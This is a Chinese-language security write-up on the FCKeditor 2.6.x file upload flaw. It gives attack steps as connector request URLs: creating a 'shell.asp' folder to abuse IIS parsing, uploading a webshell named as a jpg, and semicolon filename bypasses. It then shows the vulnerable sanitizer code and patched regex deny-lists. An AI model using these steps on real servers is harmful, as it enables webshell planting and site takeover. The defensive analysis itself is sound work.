Fckeditor PHP/ASP File Upload Vul

2021-08-16 13:31:49

目录

. 漏洞描述

. 漏洞触发条件

. 漏洞影响范围

. 漏洞代码分析

. 防御方法

. 攻防思考

1. 漏洞描述

FCKeditor是目前最优秀的可见即可得网页编辑器之一，它采用JavaScript编写。具备功能强大、配置容易、跨浏览器、支持多种编程语言、开源等特点。它非常流行，互联网上很容易找到相关技术文档，国内许多WEB项目和大型网站均采用了FCKeditor
它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合
FCK中一个很重要的文件上传的功能，常常被黑客用来进行GETSHELL攻击，根本原因是因为角色权限控制不严、以及文件扩展名限制逻辑存在BYPASS缺陷

Relevant Link:

http://sebug.net/vuldb/ssvid-20830

2. 漏洞触发条件

0x1: 信息搜集

首先收集FCK的版本信息

http://localhost/fckeditor/editor/dialog/fck_about.html

/*

version

2.6.8

Build 25427

*/

0x2: 获取上传点路径

爆物理路径

http://172.31.200.74/editor/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

. 爆路径漏洞

http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

. 列目录漏洞也可助找上传地址

http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp

http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

. 其他上传地址

http://192.168.174.138/fckeditor/_samples/default.html

http://192.168.174.138/fckeditor/_samples/asp/sample01.asp

http://192.168.174.138/fckeditor/_samples/asp/sample02.asp

http://192.168.174.138/fckeditor/_samples/asp/sample03.asp

http://192.168.174.138/fckeditor/_samples/asp/sample04.asp

一般很多站点都已删除_samples目录，可以试试。

FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页

http://192.168.174.138/fckeditor/editor/fckeditor.html

. 常用上传地址

http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

http://192.168.174.138/fckeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

http://192.168.174.138/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php  

. FCKeditor 中test 文件的上传地址

http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/test.html

http://192.168.174.138/fckeditor/editor/filemanager/upload/test.html

http://192.168.174.138/fckeditor/editor/filemanager/connectors/test.html

http://192.168.174.138/fckeditor/editor/filemanager/connectors/uploadtest.html

最终获得的上传点如下

http://localhost/fckeditor/editor/filemanager/connectors/test.html

http://localhost/fckeditor/editor/filemanager/connectors/uploadtest.html

0x3: 建立新文件夹

http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

//在images文件夹下建立文件夹

0x4: IIS解析漏洞

如果你的文件处在一个xx.asp文件夹下，那这个文件夹下的所有文件都会被当作.asp脚本来执行，这是利用了IIS的xx.asp文件夹解析漏洞

. 建立一个文件夹/z/shell.asp

http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

http://localhost/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

. 上传一个内容为WEBSHELL的xx.jpg文件

http://localhost/userfiles/image/shell.asp/z/choop.jpg

http://localhost/userfiles/image/shell.asp/z/choop.jpg

//这个xx.jpg会被当作webshell解析

0x5: FCK扩展名过滤防御解析漏洞

正常情况下，fck对上传的文件后缀扩展名是有防御逻辑的(即禁止上传脚本文件)

. 上传文件名: shell.php;.jpg

文件会被重命名为: shell_php.jpg

. 如果上传文件名:

    ) a.php;a_jpg

    ) a.asp;a_jpg

则文件不会被重命名

. 又因为IIS存在一个解析漏洞，分号";"后面的字符串会被IIS截断，导致黑客上传的文件对IIS来说就是

a.php

a.asp

从而得到执行

Relevant Link:

http://hi.baidu.com/holyli/item/f2d37959513ed509e6c4a597

3. 漏洞影响范围

2.6.xx

4. 漏洞代码分析

FCKEditor上传检测，是通过黑色单/白名单的方式检测允许和不允许上传的文件类型，具体的实现逻辑位于

. asp: \editor\filemanager\connectors\asp\io.asp

. php: \editor\filemanager\connectors\php\io.php

//在另一个browser目录中也存在同样目录结构的一套文件

. asp: \editor\filemanager\browser\default\connectors\asp\io.asp

. php: \editor\filemanager\browser\default\connectors\php\io.php

0x1: ASP

\fckeditor\editor\filemanager\connectors\asp\class_upload.asp

Private Function IsAllowed(sExt)

        Dim oRE

        Set oRE    = New RegExp

        oRE.IgnoreCase    = True

        oRE.Global        = True

        If sDenied = "" Then

            oRE.Pattern    = sAllowed

            IsAllowed    = (sAllowed = "") Or oRE.Test(sExt)

        Else

            oRE.Pattern    = sDenied

            IsAllowed    = Not oRE.Test(sExt)

        End If

        Set oRE    = Nothing

End Function

\fckeditor\editor\filemanager\connectors\asp\io.asp

Function IsAllowedExt( extension, resourceType )

    Dim oRE

    Set oRE    = New RegExp

    oRE.IgnoreCase    = True

    oRE.Global        = True

    Dim sAllowed, sDenied

    sAllowed    = ConfigAllowedExtensions.Item( resourceType )

    sDenied        = ConfigDeniedExtensions.Item( resourceType )

    IsAllowedExt = True

    If sDenied <> "" Then

        oRE.Pattern    = sDenied

        IsAllowedExt    = Not oRE.Test( extension )

    End If

    If IsAllowedExt And sAllowed <> "" Then

        oRE.Pattern        = sAllowed

        IsAllowedExt    = oRE.Test( extension )

    End If

    Set oRE    = Nothing

End Function

待检测的extension是来自FCK的配置文件:config.asp
\fckeditor\editor\filemanager\connectors\asp\config.asp

ConfigAllowedExtensions.Add    "File", "7z|aiff|asf|avi|bmp|csv|doc|fla|flv|gif|gz|gzip|jpeg|jpg|mid|mov|mp3|mp4|mpc|mpeg|mpg|ods|odt|pdf|png|ppt|pxd|qt|ram|rar|rm|rmi|rmvb|rtf|sdc|sitd|swf|sxc|sxw|tar|tgz|tif|tiff|txt|vsd|wav|wma|wmv|xls|xml|zip"

ConfigAllowedExtensions.Add    "Image", "bmp|gif|jpeg|jpg|png"

ConfigAllowedExtensions.Add    "Flash", "swf|flv"

ConfigAllowedExtensions.Add    "Media", "aiff|asf|avi|bmp|fla|flv|gif|jpeg|jpg|mid|mov|mp3|mp4|mpc|mpeg|mpg|png|qt|ram|rm|rmi|rmvb|swf|tif|tiff|wav|wma|wmv"

这只是提供给FCK的正则判断逻辑，真正的重命名机制在这里
\fckeditor\editor\filemanager\connectors\asp\io.asp

' Do a cleanup of the file name to avoid possible problems

function SanitizeFileName( sNewFileName )

    Dim oRegex

    Set oRegex = New RegExp

    oRegex.Global        = True

    if ( ConfigForceSingleExtension = True ) then

        /*

        这就是重命名文件名的关键逻辑了

        从第一个遇到"."号开始搜索，并把后面的内容当作捕获分组，捕获分组的过滤条件是不会再在后面遇到一个"."号 了，并设置一个断言，断言的内容为捕获分组的内容不可能发生，即如果还在后面遇到了一个"."号，则这个正则判断成立，即搜索到第一次遇到的"."号。然后进行replace操作，把"."号替换成"_"

        1. 如果我们的文件名是: asp.asp;asp.jpg，自然会被正则捕获到，第一个"."号就被替换成了"_"

        2. 如果我们的文件名是: asp.asp;jpg，这种文件名也能通过文件后缀判断逻辑，即bypass

        */

        oRegex.Pattern = "\.(?![^.]*$)"

        sNewFileName = oRegex.Replace( sNewFileName, "_" )

    end if

' remove \ / | : ? *  " < > and control characters

    oRegex.Pattern = "(\\|\/|\||:|\?|\*|""|\<|\>|[\u0000-\u001F]|\u007F)"

    SanitizeFileName = oRegex.Replace( sNewFileName, "_" )

    Set oRegex = Nothing

end function

5. 防御方法

1. ASP

0x1:  删除fckeditor下含test的html文件

. \editor\filemanager\connectors\test.html

0x2: 在代码层防御IIS解析漏洞(分号截断)

\editor\filemanager\connectors\asp\io.asp

' Do a cleanup of the file name to avoid possible problems

function SanitizeFileName( sNewFileName )

    Dim oRegex

    Dim oRegexSecurityExt

    Set oRegex                 = New RegExp

    Set oRegexSecurityExt     = New RegExp

    oRegex.Global                    = True

    oRegexSecurityExt.Global        = True

    if ( ConfigForceSingleExtension = True ) then

        oRegex.Pattern = "\.(?![^.]*$)"

        SanitizeFileName = oRegex.Replace( sNewFileName, "_" )

        oRegexSecurityExt.Pattern = "\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)(;|$)"

        SanitizeFileName = oRegexSecurityExt.Replace( sNewFileName, "_" )

    end if

' remove \ / | : ? *  " < > and control characters

    oRegex.Pattern = "(\\|\/|\||:|\;|\?|\*|""|\<|\>|[\u0000-\u001F]|\u007F)"

    SanitizeFileName = oRegex.Replace( sNewFileName, "_" )

    Set oRegex = Nothing

end function

0x3: 在代码层防御IIS解析漏洞(创建xx.asp目录)
如果黑客通过FCK的目录创建接口创建了一个xx.asp目录，IIS将此目录下的的任意文件都当作asp脚本进行解析，攻击者可以向这个目录下上传包含WEBSHELL的jpg文件

' Do a cleanup of the folder name to avoid possible problems

function SanitizeFolderName( sNewFolderName )

    Dim oRegex

    Dim oRegexSecurityExt

    Set oRegex                 = New RegExp

    Set oRegexSecurityExt     = New RegExp

    oRegex.Global                    = True

    oRegexSecurityExt.Global        = True

    'remove . \ / | : ? *  " < > and control characters

    oRegex.Pattern = "(\.|\\|\/|\||:|\?|\;|\*|""|\<|\>|[\u0000-\u001F]|\u007F)"

    SanitizeFolderName = oRegex.Replace( sNewFolderName, "_" )

    'forbidden the dangerous ext

    oRegexSecurityExt.Pattern = "\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)$"

    SanitizeFolderName = oRegexSecurityExt.Replace( sNewFolderName, "_" )

    Set oRegex = Nothing

end function

0x4: 扩展名上传限制正则绕过漏洞

和0x2: 在代码层防御IIS解析漏洞(分号截断)相同，同时还可以通过强化正则规则，在扩展名的头尾加上"起始"、"结束"定界符来规避攻击者的畸形后缀bypass

Function IsAllowedType( resourceType )

    Dim oRE

    Set oRE    = New RegExp

    oRE.IgnoreCase    = False

    oRE.Global        = True

    oRE.Pattern        = "^(" & ConfigAllowedTypes & ")$"

    IsAllowedType = oRE.Test( resourceType )

    Set oRE    = Nothing

End Function

Function IsAllowedCommand( sCommand )

    Dim oRE

    Set oRE    = New RegExp

    oRE.IgnoreCase    = True

    oRE.Global        = True

    oRE.Pattern        = "^(" & ConfigAllowedCommands & ")$"

    IsAllowedCommand = oRE.Test( sCommand )

    Set oRE    = Nothing

End Function

Relevant Link:

http://www.chinaz.com/news/2012/1205/284700.shtml

http://www.sdlunzhong.cn/itres/showitnews.aspx?id=807

2. PHP

存在IIS+FastCGI即同时存在ASP、PHP的运行环境

/editor/filemanager/connectors/php/io.php

// Do a cleanup of the folder name to avoid possible problems

function SanitizeFolderName( $sNewFolderName )

{

    $sNewFolderName = stripslashes( $sNewFolderName ) ;

    // Remove . \ / | : ; . ? * " < >

    $sNewFolderName = preg_replace( '/\\.|\\\\|\\;|\\/|\\||\\:|\\?|\\*|"|<|>|[[:cntrl:]]/', '_', $sNewFolderName ) ;

    $sNewFolderName = preg_replace( '/\\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)$/i', '_', $sNewFolderName ) ;

    return $sNewFolderName ;

}

// Do a cleanup of the file name to avoid possible problems

function SanitizeFileName( $sNewFileName )

{

    global $Config ;

    $sNewFileName = stripslashes( $sNewFileName ) ;

    // Replace dots in the name with underscores (only one dot can be there... security issue).

    if ( $Config['ForceSingleExtension'] )

        $sNewFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sNewFileName ) ;

    // Remove \ / | : ? * " < >

    $sNewFileName = preg_replace( '/\\\\|\\/|\\||\\:|\\;|\\?|\\*|"|<|>|[[:cntrl:]]/', '_', $sNewFileName ) ;

    $sNewFileName = preg_replace( '/\\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)(;|$)/i', '_', $sNewFileName ) ;

    return $sNewFileName ;

}

6. 攻防思考

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